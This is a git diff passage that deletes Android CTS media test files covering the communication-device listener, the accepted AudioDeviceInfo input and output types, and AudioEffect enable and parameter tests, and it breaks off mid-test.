-    public void testSetInvalidCommunicationDevice() {
-        if (!isValidPlatform("testSetInvalidCommunicationDevice")) return;
-
-        AudioDeviceInfo[] alldevices = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
-        List<AudioDeviceInfo> validDevices = mAudioManager.getAvailableCommunicationDevices();
-
-        for (AudioDeviceInfo device : alldevices) {
-            if (validDevices.contains(device)) {
-                continue;
-            }
-            try {
-                mAudioManager.setCommunicationDevice(device);
-                fail("setCommunicationDevice should fail for device: " + device.getType());
-            } catch (Exception e) {
-            }
-        }
-    }
-
-    static class MyOnCommunicationDeviceChangedListener implements
-            AudioManager.OnCommunicationDeviceChangedListener {
-
-        private final Object mCbLock = new Object();
-        @GuardedBy("mCbLock")
-        private boolean mCalled;
-        @GuardedBy("mCbLock")
-        private AudioDeviceInfo mDevice;
-
-        private static final int LISTENER_WAIT_TIMEOUT_MS = 3000;
-        void reset() {
-            synchronized (mCbLock) {
-                mCalled = false;
-                mDevice = null;
-            }
-        }
-
-        AudioDeviceInfo waitForDeviceUpdate() {
-            synchronized (mCbLock) {
-                while (!mCalled) {
-                    try {
-                        mCbLock.wait(LISTENER_WAIT_TIMEOUT_MS);
-                    } catch (InterruptedException e) {
-                    }
-                }
-                return mDevice;
-            }
-        }
-
-        AudioDeviceInfo getDevice() {
-            synchronized (mCbLock) {
-                return mDevice;
-            }
-        }
-
-        MyOnCommunicationDeviceChangedListener() {
-            reset();
-        }
-
-        @Override
-        public void onCommunicationDeviceChanged(AudioDeviceInfo device) {
-            synchronized (mCbLock) {
-                mCalled = true;
-                mDevice = device;
-                mCbLock.notifyAll();
-            }
-        }
-    }
-
-    public void testCommunicationDeviceListener() {
-        if (!isValidPlatform("testCommunicationDeviceListener")) return;
-
-        MyOnCommunicationDeviceChangedListener listener =
-                new MyOnCommunicationDeviceChangedListener();
-
-        try {
-            mAudioManager.addOnCommunicationDeviceChangedListener(null, listener);
-            fail("addOnCommunicationDeviceChangedListener should fail with null executor");
-        } catch (Exception e) {
-        }
-
-        try {
-            mAudioManager.addOnCommunicationDeviceChangedListener(
-                    Executors.newSingleThreadExecutor(), null);
-            fail("addOnCommunicationDeviceChangedListener should fail with null listener");
-        } catch (Exception e) {
-        }
-
-        try {
-            mAudioManager.removeOnCommunicationDeviceChangedListener(null);
-            fail("removeOnCommunicationDeviceChangedListener should fail with null listener");
-        } catch (Exception e) {
-        }
-
-        try {
-            mAudioManager.addOnCommunicationDeviceChangedListener(
-                Executors.newSingleThreadExecutor(), listener);
-        } catch (Exception e) {
-            fail("addOnCommunicationDeviceChangedListener failed with exception: "
-                    + e);
-        }
-
-        try {
-            mAudioManager.addOnCommunicationDeviceChangedListener(
-                Executors.newSingleThreadExecutor(), listener);
-            fail("addOnCommunicationDeviceChangedListener succeeded for same listener");
-        } catch (Exception e) {
-        }
-
-        AudioDeviceInfo originalDevice = mAudioManager.getCommunicationDevice();
-        assertNotNull("Platform as no default communication device", originalDevice);
-
-        AudioDeviceInfo requestedDevice = null;
-        List<AudioDeviceInfo> devices = mAudioManager.getAvailableCommunicationDevices();
-
-        for (AudioDeviceInfo device : devices) {
-            if (device.getType() != originalDevice.getType()) {
-                requestedDevice = device;
-                break;
-            }
-        }
-        if (requestedDevice == null) {
-            Log.i(TAG,"Skipping end of testCommunicationDeviceListener test,"
-                    +" no valid decice to test");
-            return;
-        }
-        mAudioManager.setCommunicationDevice(requestedDevice);
-        AudioDeviceInfo listenerDevice = listener.waitForDeviceUpdate();
-        if (listenerDevice == null || listenerDevice.getType() != requestedDevice.getType()) {
-            fail("listener and setter device mismatch, expected device: "
-                    + requestedDevice.getType() + " but got: "
-                    + ((listenerDevice == null)
-                        ? AudioDeviceInfo.TYPE_UNKNOWN : listenerDevice.getType()));
-        }
-        AudioDeviceInfo getterDevice = mAudioManager.getCommunicationDevice();
-        if (getterDevice == null || getterDevice.getType() != listenerDevice.getType()) {
-            fail("listener and getter device mismatch, expected device: "
-                    + listenerDevice.getType() + " but got: "
-                    + ((getterDevice == null)
-                        ? AudioDeviceInfo.TYPE_UNKNOWN : getterDevice.getType()));
-        }
-
-        listener.reset();
-
-        mAudioManager.setCommunicationDevice(originalDevice);
-
-        listenerDevice = listener.waitForDeviceUpdate();
-        assertNotNull("Platform as no default communication device", listenerDevice);
-
-        if (listenerDevice.getType() != originalDevice.getType()) {
-            fail("communication device listener failed on clear, expected device: "
-                    + originalDevice.getType() + " but got: " + listenerDevice.getType());
-        }
-
-        try {
-            mAudioManager.removeOnCommunicationDeviceChangedListener(listener);
-        } catch (Exception e) {
-            fail("removeOnCommunicationDeviceChangedListener failed with exception: "
-                    + e);
-        }
-    }
-
-    private boolean isValidPlatform(String testName) {
-        PackageManager pm = getInstrumentation().getContext().getPackageManager();
-        if (!pm.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)
-                ||  pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY)
-                || !pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            Log.i(TAG,"Skipping test " + testName
-                    + " : device has no audio output or is a TV or does not support telephony");
-            return false;
-        }
-        return true;
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioDeviceInfoTest.java b/tests/tests/media/src/android/media/cts/AudioDeviceInfoTest.java
deleted file mode 100644
index a2a90dc..0000000
--- a/tests/tests/media/src/android/media/cts/AudioDeviceInfoTest.java
+++ /dev/null
@@ -1,127 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.*;
-
-import android.media.AudioDeviceInfo;
-import android.util.Log;
-import androidx.test.runner.AndroidJUnit4;
-import java.util.HashSet;
-import java.util.Set;
-import java.util.stream.Collectors;
-import java.util.stream.Stream;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@NonMediaMainlineTest
-@RunWith(AndroidJUnit4.class)
-public class AudioDeviceInfoTest {
-    private static final Set<Integer> INPUT_TYPES = Stream.of(
-        AudioDeviceInfo.TYPE_BUILTIN_MIC,
-        AudioDeviceInfo.TYPE_BLUETOOTH_SCO,
-        AudioDeviceInfo.TYPE_BLUETOOTH_A2DP,
-        AudioDeviceInfo.TYPE_WIRED_HEADSET,
-        AudioDeviceInfo.TYPE_HDMI,
-        AudioDeviceInfo.TYPE_TELEPHONY,
-        AudioDeviceInfo.TYPE_DOCK,
-        AudioDeviceInfo.TYPE_USB_ACCESSORY,
-        AudioDeviceInfo.TYPE_USB_DEVICE,
-        AudioDeviceInfo.TYPE_USB_HEADSET,
-        AudioDeviceInfo.TYPE_FM_TUNER,
-        AudioDeviceInfo.TYPE_TV_TUNER,
-        AudioDeviceInfo.TYPE_LINE_ANALOG,
-        AudioDeviceInfo.TYPE_LINE_DIGITAL,
-        AudioDeviceInfo.TYPE_IP,
-        AudioDeviceInfo.TYPE_BUS,
-        AudioDeviceInfo.TYPE_REMOTE_SUBMIX,
-        AudioDeviceInfo.TYPE_BLE_HEADSET,
-        AudioDeviceInfo.TYPE_HDMI_ARC,
-        AudioDeviceInfo.TYPE_HDMI_EARC,
-        AudioDeviceInfo.TYPE_ECHO_REFERENCE)
-            .collect(Collectors.toCollection(HashSet::new));
-
-    private static final Set<Integer> OUTPUT_TYPES = Stream.of(
-        AudioDeviceInfo.TYPE_BUILTIN_EARPIECE,
-        AudioDeviceInfo.TYPE_BUILTIN_SPEAKER,
-        AudioDeviceInfo.TYPE_WIRED_HEADSET,
-        AudioDeviceInfo.TYPE_WIRED_HEADPHONES,
-        AudioDeviceInfo.TYPE_BLUETOOTH_SCO,
-        AudioDeviceInfo.TYPE_BLUETOOTH_A2DP,
-        AudioDeviceInfo.TYPE_HDMI,
-        AudioDeviceInfo.TYPE_DOCK,
-        AudioDeviceInfo.TYPE_USB_ACCESSORY,
-        AudioDeviceInfo.TYPE_USB_DEVICE,
-        AudioDeviceInfo.TYPE_USB_HEADSET,
-        AudioDeviceInfo.TYPE_TELEPHONY,
-        AudioDeviceInfo.TYPE_LINE_ANALOG,
-        AudioDeviceInfo.TYPE_HDMI_ARC,
-        AudioDeviceInfo.TYPE_HDMI_EARC,
-        AudioDeviceInfo.TYPE_LINE_DIGITAL,
-        AudioDeviceInfo.TYPE_FM,
-        AudioDeviceInfo.TYPE_AUX_LINE,
-        AudioDeviceInfo.TYPE_IP,
-        AudioDeviceInfo.TYPE_BUS,
-        AudioDeviceInfo.TYPE_HEARING_AID,
-        AudioDeviceInfo.TYPE_BUILTIN_SPEAKER_SAFE,
-        AudioDeviceInfo.TYPE_BLE_HEADSET,
-        AudioDeviceInfo.TYPE_BLE_SPEAKER)
-            .collect(Collectors.toCollection(HashSet::new));
-
-    private static int MAX_TYPE;
-    private static int MIN_TYPE;
-    {
-        int maxType = Integer.MIN_VALUE;
-        int minType = Integer.MAX_VALUE;
-        for (int type : INPUT_TYPES) {
-            minType = Integer.min(minType, type);
-            maxType = Integer.max(maxType, type);
-        }
-        for (int type : OUTPUT_TYPES) {
-            minType = Integer.min(minType, type);
-            maxType = Integer.max(maxType, type);
-        }
-        MIN_TYPE = minType;
-        MAX_TYPE = maxType;
-    }
-
-    /**
-     * Ensure no regression on accepted input device types.
-     *
-     * @throws Exception
-     */
-    @Test
-    public void testDeviceTypeIn() throws Exception {
-        for (int type : INPUT_TYPES) {
-            // throws IllegalArgumentException on failure
-            AudioDeviceInfo.enforceValidAudioDeviceTypeIn(type);
-        }
-    }
-
-    /**
-     * Ensure no regression on accepted output device types.
-     *
-     * @throws Exception
-     */
-    @Test
-    public void testDeviceTypeOut() throws Exception {
-        for (int type : OUTPUT_TYPES) {
-            // throws IllegalArgumentException on failure
-            AudioDeviceInfo.enforceValidAudioDeviceTypeOut(type);
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioEffectTest.java b/tests/tests/media/src/android/media/cts/AudioEffectTest.java
deleted file mode 100644
index 71da50b..0000000
--- a/tests/tests/media/src/android/media/cts/AudioEffectTest.java
+++ /dev/null
@@ -1,1053 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.cts.R;
-
-import android.content.res.AssetFileDescriptor;
-import android.media.audiofx.AudioEffect;
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioRecord;
-import android.media.AudioTrack;
-import android.media.audiofx.PresetReverb;
-import android.media.audiofx.EnvironmentalReverb;
-import android.media.audiofx.Equalizer;
-import android.media.MediaPlayer;
-import android.media.MediaRecorder;
-
-import android.os.Looper;
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-import android.util.Log;
-import java.util.UUID;
-
-@AppModeFull(reason = "Dynamic congic not supported")
-@NonMediaMainlineTest
-public class AudioEffectTest extends PostProcTestBase {
-
-    private String TAG = "AudioEffectTest";
-    private final static int MIN_NUMBER_EFFECTS = 1;
-    // allow +/- 5% tolerance between set and get delays
-    private final static float DELAY_TOLERANCE = 1.05f;
-    // allow +/- 5% tolerance between set and get ratios
-    private final static float RATIO_TOLERANCE = 1.05f;
-    // AudioRecord sampling rate
-    private final static int SAMPLING_RATE = 44100;
-
-    private final static int MAX_LOOPER_WAIT_COUNT = 10;
-
-    private AudioEffect mEffect = null;
-    private AudioEffect mEffect2 = null;
-    private MediaPlayer mMediaPlayer = null;
-    private int mError = 0;
-
-    private ListenerThread mEffectListenerLooper = null;
-
-    //-----------------------------------------------------------------
-    // AUDIOEFFECT TESTS:
-    //----------------------------------
-
-    @Override
-    protected void tearDown() throws Exception {
-        releaseEffect();
-        terminateMediaPlayerLooper();
-        terminateListenerLooper();
-    }
-
-    //-----------------------------------------------------------------
-    // 0 - static methods
-    //----------------------------------
-
-    //Test case 0.0: test queryEffects() and platfrom at least provides an Equalizer
-    public void test0_0QueryEffects() throws Exception {
-
-        AudioEffect.Descriptor[] desc = AudioEffect.queryEffects();
-
-        assertTrue("test0_0QueryEffects: number of effects < MIN_NUMBER_EFFECTS: "+desc.length,
-                (desc.length >= MIN_NUMBER_EFFECTS));
-
-        boolean hasEQ = false;
-
-        for (int i = 0; i < desc.length; i++) {
-            if (desc[i].type.equals(AudioEffect.EFFECT_TYPE_EQUALIZER)) {
-                hasEQ = true;
-                break;
-            }
-        }
-        assertTrue("test0_0QueryEffects: equalizer not found", hasEQ);
-    }
-
-    //-----------------------------------------------------------------
-    // 1 - constructor
-    //----------------------------------
-
-    private AudioRecord getAudioRecord() {
-        AudioRecord ar = null;
-        try {
-            ar = new AudioRecord(MediaRecorder.AudioSource.DEFAULT,
-                    SAMPLING_RATE,
-                    AudioFormat.CHANNEL_CONFIGURATION_MONO,
-                    AudioFormat.ENCODING_PCM_16BIT,
-                    AudioRecord.getMinBufferSize(SAMPLING_RATE,
-                            AudioFormat.CHANNEL_CONFIGURATION_MONO,
-                            AudioFormat.ENCODING_PCM_16BIT) * 10);
-            assertNotNull("Could not create AudioRecord", ar);
-            assertEquals("AudioRecord not initialized",
-                    AudioRecord.STATE_INITIALIZED, ar.getState());
-        } catch (IllegalArgumentException e) {
-            fail("AudioRecord invalid parameter");
-        }
-        return ar;
-    }
-
-//    // Test case 1.0: test constructor from effect type and get effect ID
-//    public void test1_0ConstructorFromType() ...
-//    Note: This test was removed because it used hidden api's.
-
-
-//    //Test case 1.1: test constructor from effect uuid
-//    public void test1_1ConstructorFromUuid() ...
-//    Note: This test was removed because:
-//     1. will fail in devices that offload effects
-//     2. it used hidden api's.
-
-//    //Test case 1.2: test constructor failure from unknown type
-//    public void test1_2ConstructorUnknownType() ...
-//    Note: This test was removed because it used hidden api's.
-
-    //Test case 1.3: test getEnabled() failure when called on released effect
-    public void test1_3GetEnabledAfterRelease() throws Exception {
-        try {
-            AudioEffect effect = new AudioEffect(AudioEffect.EFFECT_TYPE_EQUALIZER,
-                    AudioEffect.EFFECT_TYPE_NULL,
-                    0,
-                    0);
-            assertNotNull("could not create AudioEffect", effect);
-            effect.release();
-            try {
-                effect.getEnabled();
-                fail("getEnabled() processed after release()");
-            } catch (IllegalStateException e) {
-
-            }
-        } catch (IllegalArgumentException e) {
-            fail("AudioEffect not found");
-        } catch (UnsupportedOperationException e) {
-            fail("Effect library not loaded");
-        }
-    }
-
-    //Test case 1.4: test contructor on mediaPlayer audio session
-    public void test1_4InsertOnMediaPlayer() throws Exception {
-        MediaPlayer mp = new MediaPlayer();
-        assertNotNull("could not create mediaplayer", mp);
-        AssetFileDescriptor afd = mContext.getResources().openRawResourceFd(R.raw.testmp3);
-        mp.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
-        afd.close();
-        getEffect(AudioEffect.EFFECT_TYPE_EQUALIZER, mp.getAudioSessionId());
-        try {
-            mEffect.setEnabled(true);
-
-        } catch (IllegalStateException e) {
-            fail("AudioEffect not initialized");
-        } finally {
-            mp.release();
-            releaseEffect();
-        }
-    }
-
-    //Test case 1.5: test auxiliary effect attachement on MediaPlayer
-    public void test1_5AuxiliaryOnMediaPlayer() throws Exception {
-        if (!isPresetReverbAvailable()) {
-            return;
-        }
-        synchronized(mLock) {
-            mInitialized = false;
-            createMediaPlayerLooper();
-            waitForLooperInitialization_l();
-
-            mError = 0;
-            AssetFileDescriptor afd = mContext.getResources().openRawResourceFd(R.raw.testmp3);
-            mMediaPlayer.setDataSource(afd.getFileDescriptor(),
-                                       afd.getStartOffset(),
-                                       afd.getLength());
-            afd.close();
-            getEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB, 0);
-            try {
-                try {
-                    mMediaPlayer.attachAuxEffect(mEffect.getId());
-                    mMediaPlayer.setAuxEffectSendLevel(1.0f);
-                    mLock.wait(1000);
-                } catch(Exception e) {
-                    fail("Attach effect: wait was interrupted.");
-                }
-                assertTrue("error on attachAuxEffect", mError == 0);
-            } catch (IllegalStateException e) {
-                fail("attach aux effect failed");
-            } finally {
-                terminateMediaPlayerLooper();
-                releaseEffect();
-            }
-        }
-    }
-
-    //Test case 1.6: test auxiliary effect attachement failure before setDatasource
-    public void test1_6AuxiliaryOnMediaPlayerFailure() throws Exception {
-        if (!isPresetReverbAvailable()) {
-            return;
-        }
-        synchronized(mLock) {
-            mInitialized = false;
-            createMediaPlayerLooper();
-            waitForLooperInitialization_l();
-
-            getEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB, 0);
-
-            mError = 0;
-            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-            while (mError == 0 && (looperWaitCount-- > 0)) {
-                try {
-                    try {
-                        mMediaPlayer.attachAuxEffect(mEffect.getId());
-                    } catch (IllegalStateException e) {
-                        terminateMediaPlayerLooper();
-                        releaseEffect();
-                        fail("attach aux effect failed");
-                    }
-                    mLock.wait();
-                } catch(Exception e) {
-                }
-            }
-            assertTrue("no error on attachAuxEffect", mError != 0);
-        }
-        terminateMediaPlayerLooper();
-        releaseEffect();
-    }
-
-
-    //Test case 1.7: test auxiliary effect attachement on AudioTrack
-    public void test1_7AuxiliaryOnAudioTrack() throws Exception {
-        if (!isPresetReverbAvailable()) {
-            return;
-        }
-        AudioTrack track = null;
-        getEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB, 0);
-        try {
-            track = new AudioTrack(
-                                AudioManager.STREAM_MUSIC,
-                                44100,
-                                AudioFormat.CHANNEL_OUT_MONO,
-                                AudioFormat.ENCODING_PCM_16BIT,
-                                AudioTrack.getMinBufferSize(44100,
-                                                            AudioFormat.CHANNEL_OUT_MONO,
-                                                            AudioFormat.ENCODING_PCM_16BIT),
-                                                            AudioTrack.MODE_STREAM);
-            assertNotNull("could not create AudioTrack", track);
-
-            int status = track.attachAuxEffect(mEffect.getId());
-            if (status != AudioTrack.SUCCESS) {
-                fail("could not attach aux effect");
-            }
-            status = track.setAuxEffectSendLevel(1.0f);
-            if (status != AudioTrack.SUCCESS) {
-                fail("could not set send level");
-            }
-        } catch (IllegalStateException e) {
-            fail("could not attach aux effect");
-        } catch (IllegalArgumentException e) {
-            fail("could not create AudioTrack");
-        } finally {
-            if (track != null) {
-                track.release();
-            }
-            releaseEffect();
-        }
-    }
-
-    //-----------------------------------------------------------------
-    // 2 - enable/ disable
-    //----------------------------------
-
-
-    //Test case 2.0: test setEnabled() and getEnabled() in valid state
-    public void test2_0SetEnabledGetEnabled() throws Exception {
-        try {
-            AudioEffect effect = new AudioEffect(AudioEffect.EFFECT_TYPE_EQUALIZER,
-                    AudioEffect.EFFECT_TYPE_NULL,
-                    0,
-                    0);
-            assertNotNull("could not create AudioEffect", effect);
-            try {
-                effect.setEnabled(true);
-                assertTrue("invalid state from getEnabled", effect.getEnabled());
-                effect.setEnabled(false);
-                assertFalse("invalid state to getEnabled", effect.getEnabled());
-
-            } catch (IllegalStateException e) {
-                fail("setEnabled() in wrong state");
-            } finally {
-                effect.release();
-            }
-        } catch (IllegalArgumentException e) {
-            fail("AudioEffect not found");
-
-        } catch (UnsupportedOperationException e) {
-            fail("Effect library not loaded");
-        }
-    }
-
-    //Test case 2.1: test setEnabled() throws exception after release
-    public void test2_1SetEnabledAfterRelease() throws Exception {
-        try {
-            AudioEffect effect = new AudioEffect(AudioEffect.EFFECT_TYPE_EQUALIZER,
-                    AudioEffect.EFFECT_TYPE_NULL,
-                    0,
-                    0);
-            assertNotNull("could not create AudioEffect", effect);
-            effect.release();
-            try {
-                effect.setEnabled(true);
-                fail("setEnabled() processed after release");
-            } catch (IllegalStateException e) {
-                // test passed
-            }
-        } catch (IllegalArgumentException e) {
-            fail("AudioEffect not found");
-        } catch (UnsupportedOperationException e) {
-            fail("Effect library not loaded");
-        }
-    }
-
-    //-----------------------------------------------------------------
-    // 3 - set/get parameters
-    //----------------------------------
-
-    //Test case 3.0: test setParameter(byte[], byte[]) / getParameter(byte[], byte[])
-    public void test3_0SetParameterByteArrayByteArray() throws Exception {
-        if (!isPresetReverbAvailable()) {
-            return;
-        }
-        getEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB, 0);
-        try {
-            byte[] param = mEffect.intToByteArray(PresetReverb.PARAM_PRESET);
-            byte[] value = new byte[2];
-            int status = mEffect.getParameter(param, value);
-            assertFalse("getParameter 1 failed", AudioEffect.isError(status));
-            short preset = PresetReverb.PRESET_SMALLROOM;
-            if (mEffect.byteArrayToShort(value) == preset) {
-                preset = PresetReverb.PRESET_MEDIUMROOM;
-            }
-            value = mEffect.shortToByteArray(preset);
-            status = mEffect.setParameter(param, value);
-            assertEquals("setParameter failed", AudioEffect.SUCCESS, status);
-            status = mEffect.getParameter(param, value);
-            assertFalse("getParameter 2 failed", AudioEffect.isError(status));
-            assertEquals("get/set Parameter failed", preset,
-                    mEffect.byteArrayToShort(value));
-
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("setParameter() rejected");
-        } catch (IllegalStateException e) {
-            fail("setParameter() called in wrong state");
-        } finally {
-            releaseEffect();
-        }
-    }
-
-    //Test case 3.1: test setParameter(int, int) / getParameter(int, int[])
-    public void test3_1SetParameterIntInt() throws Exception {
-        if (!isEnvReverbAvailable()) {
-            return;
-        }
-        getEffect(AudioEffect.EFFECT_TYPE_ENV_REVERB, 0);
-        try {
-            int param = EnvironmentalReverb.PARAM_DECAY_TIME;
-            int[] value = new int[1];
-            int status = mEffect.getParameter(param, value);
-            assertFalse("getParameter 1 failed", AudioEffect.isError(status));
-            int time = 500;
-            if (value[0] == time) {
-                time = 1000;
-            }
-            status = mEffect.setParameter(param, time);
-            assertEquals("setParameter failed", AudioEffect.SUCCESS, status);
-            status = mEffect.getParameter(param, value);
-            assertFalse("getParameter 2 failed", AudioEffect.isError(status));
-            assertTrue("got incorrect decay time",
-                    ((float)value[0] > (float)(time / DELAY_TOLERANCE)) &&
-                    ((float)value[0] < (float)(time * DELAY_TOLERANCE)));
-
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("setParameter() rejected");
-        } catch (IllegalStateException e) {
-            fail("setParameter() called in wrong state");
-        } finally {
-            releaseEffect();
-        }
-    }
-
-    //Test case 3.2: test setParameter(int, short) / getParameter(int, short[])
-    public void test3_2SetParameterIntShort() throws Exception {
-        if (!isPresetReverbAvailable()) {
-            return;
-        }
-        getEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB, 0);
-        try {
-            int param = PresetReverb.PARAM_PRESET;
-            short[] value = new short[1];
-            int status = mEffect.getParameter(param, value);
-            assertFalse("getParameter 1 failed", AudioEffect.isError(status));
-            short preset = PresetReverb.PRESET_SMALLROOM;
-            if (value[0] == preset) {
-                preset = PresetReverb.PRESET_MEDIUMROOM;
-            }
-            status = mEffect.setParameter(param, preset);
-            assertEquals("setParameter failed", AudioEffect.SUCCESS, status);
-            status = mEffect.getParameter(param, value);
-            assertFalse("getParameter 2 failed", AudioEffect.isError(status));
-            assertEquals("get/set Parameter failed", preset, value[0]);
-
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("setParameter() rejected");
-        } catch (IllegalStateException e) {
-            fail("setParameter() called in wrong state");
-        } finally {
-            releaseEffect();
-        }
-    }
-
-    //Test case 3.3: test setParameter(int, byte[]) / getParameter(int, byte[])
-    public void test3_3SetParameterIntByteArray() throws Exception {
-        if (!isEnvReverbAvailable()) {
-            return;
-        }
-        getEffect(AudioEffect.EFFECT_TYPE_ENV_REVERB, 0);
-        try {
-            int param = EnvironmentalReverb.PARAM_DECAY_TIME;
-            byte[] value = new byte[4];
-            int status = mEffect.getParameter(param, value);
-            assertFalse("getParameter 1 failed", AudioEffect.isError(status));
-            int time = 500;
-            if (mEffect.byteArrayToInt(value) == time) {
-                time = 1000;
-            }
-            value = mEffect.intToByteArray(time);
-            status = mEffect.setParameter(param, value);
-            assertEquals("setParameter failed", AudioEffect.SUCCESS, status);
-            status = mEffect.getParameter(param, value);
-            assertFalse("getParameter 2 failed", AudioEffect.isError(status));
-            int time2 = mEffect.byteArrayToInt(value);
-            assertTrue("got incorrect decay time",
-                    ((float)time2 > (float)(time / DELAY_TOLERANCE)) &&
-                    ((float)time2 < (float)(time * DELAY_TOLERANCE)));
-
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("setParameter() rejected");
-        } catch (IllegalStateException e) {
-            fail("setParameter() called in wrong state");
-        } finally {
-            releaseEffect();
-        }
-    }
-
-    //Test case 3.4: test setParameter(int[], int[]) / getParameter(int[], int[])
-    public void test3_4SetParameterIntArrayIntArray() throws Exception {
-        if (!isEnvReverbAvailable()) {
-            return;
-        }
-        getEffect(AudioEffect.EFFECT_TYPE_ENV_REVERB, 0);
-        try {
-            int[] param = new int[1];
-            int[] value = new int[1];
-            param[0] = EnvironmentalReverb.PARAM_DECAY_TIME;
-            int status = mEffect.getParameter(param, value);
-            assertFalse("getParameter 1 failed", AudioEffect.isError(status));
-            int[] time = new int[1];
-            time[0] = 500;
-            if (value[0] == time[0]) {
-                time[0] = 1000;
-            }
-            status = mEffect.setParameter(param, time);
-            assertEquals("setParameter failed", AudioEffect.SUCCESS, status);
-            status = mEffect.getParameter(param, value);
-            assertFalse("getParameter 2 failed", AudioEffect.isError(status));
-            assertTrue("got incorrect decay time",
-                    ((float)value[0] > (float)(time[0] / DELAY_TOLERANCE)) &&
-                    ((float)value[0] < (float)(time[0] * DELAY_TOLERANCE)));
-
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("setParameter() rejected");
-        } catch (IllegalStateException e) {
-            fail("setParameter() called in wrong state");
-        } finally {
-            releaseEffect();
-        }
-    }
-
-    //Test case 3.5: test setParameter(int[], short[]) / getParameter(int[], short[])
-
-    public void test3_5SetParameterIntArrayShortArray() throws Exception {
-        if (!isPresetReverbAvailable()) {
-            return;
-        }
-        getEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB, 0);
-        try {
-            int[] param = new int[1];
-            param[0] = PresetReverb.PARAM_PRESET;
-            short[] value = new short[1];
-            int status = mEffect.getParameter(param, value);
-            assertFalse("getParameter 1 failed", AudioEffect.isError(status));
-            short[] preset = new short[1];
-            preset[0] = PresetReverb.PRESET_SMALLROOM;
-            if (value[0] == preset[0]) {
-                preset[0] = PresetReverb.PRESET_MEDIUMROOM;
-            }
-            status = mEffect.setParameter(param, preset);
-            assertEquals("setParameter failed", AudioEffect.SUCCESS, status);
-            status = mEffect.getParameter(param, value);
-            assertFalse("getParameter 2 failed", AudioEffect.isError(status));
-            assertEquals("get/set Parameter failed", preset[0], value[0]);
-
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("setParameter() rejected");
-        } catch (IllegalStateException e) {
-            fail("setParameter() called in wrong state");
-        } finally {
-            releaseEffect();
-        }
-    }
-
-    //Test case 3.6: test setParameter(int[], byte[]) / getParameter(int[], byte[])
-    public void test3_6SetParameterIntArrayByteArray() throws Exception {
-        if (!isEnvReverbAvailable()) {
-            return;
-        }
-        getEffect(AudioEffect.EFFECT_TYPE_ENV_REVERB, 0);
-        try {
-            int[] param = new int[1];
-            param[0] = EnvironmentalReverb.PARAM_DECAY_TIME;
-            byte[] value = new byte[4];
-            int status = mEffect.getParameter(param, value);
-            assertFalse("getParameter 1 failed", AudioEffect.isError(status));
-            int time = 500;
-            if (mEffect.byteArrayToInt(value) == time) {
-                time = 1000;
-            }
-
-            status = mEffect.setParameter(param, mEffect.intToByteArray(time));
-            assertEquals("setParameter failed", AudioEffect.SUCCESS, status);
-            status = mEffect.getParameter(param, value);
-            assertFalse("getParameter 2 failed", AudioEffect.isError(status));
-            int time2 = mEffect.byteArrayToInt(value);
-            assertTrue("got incorrect decay time",
-                    ((float)time2 > (float)(time / DELAY_TOLERANCE)) &&
-                    ((float)time2 < (float)(time * DELAY_TOLERANCE)));
-
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("setParameter() rejected");
-        } catch (IllegalStateException e) {
-            fail("setParameter() called in wrong state");
-        } finally {
-            releaseEffect();
-        }
-    }
-
-    //Test case 3.7: test setParameter() throws exception after release()
-    public void test3_7SetParameterAfterRelease() throws Exception {
-        if (!isPresetReverbAvailable()) {
-            return;
-        }
-        AudioEffect effect = null;
-        try {
-            effect = new AudioEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB,
-                                    AudioEffect.EFFECT_TYPE_NULL,
-                                    0,
-                                    0);
-            assertNotNull("could not create AudioEffect", effect);
-            effect.release();
-            effect.setParameter(PresetReverb.PARAM_PRESET, PresetReverb.PRESET_SMALLROOM);
-            fail("setParameter() processed after release");
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("setParameter() rejected");
-        } catch (IllegalStateException e) {
